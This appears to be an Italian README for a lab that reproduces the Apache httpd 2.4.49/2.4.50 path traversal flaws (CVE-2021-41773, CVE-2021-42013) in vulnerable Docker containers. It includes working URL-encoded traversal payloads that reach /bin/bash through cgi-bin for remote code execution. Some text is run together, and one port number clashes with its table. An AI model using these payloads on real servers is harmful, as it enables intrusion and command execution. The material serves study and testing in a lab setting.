
È stata trovata una falla in una modifica apportata alla normalizzazione dei percorsi in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare gli URL a file al di fuori delle directory configurate da direttive simili ad Alias. Se i file al di fuori di queste directory non sono protetti dalla configurazione predefinita "require all denied", queste richieste possono avere successo. Se gli script CGI sono anche abilitati per questi percorsi alias, questo potrebbe consentire l'esecuzione di codice in remoto. Questo problema è noto per essere stato sfruttato in ambienti reali. Questo problema riguarda solo Apache 2.4.49 e non le versioni precedenti. La correzione in Apache HTTP Server 2.4.50 è stata incompleta, vedere CVE-2021-42013.
pip3 install colorama)perl in esecuzione nel/i containerAvviare un Apache httpd vulnerabile (con configurazione predefinita) come container docker/podman.
| Dockerfile | Container | Versione |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Porta di ascolto |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 selezionare l'attacco sulla versione 2.4.49
1.3 python3 main.py localhost:2450
1.4 selezionare l'attacco sulla versione 2.4.50
L'exploit utilizzerà il modulo CGI di Apache httpd per consentire l'esecuzione di eseguibili arbitrari tramite path traversal.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ è codificato in URL e, se decodificato, equivale a ../.
.%%32%658 è doppiamente codificato in URL e, se decodificato, equivale anch'esso a ../.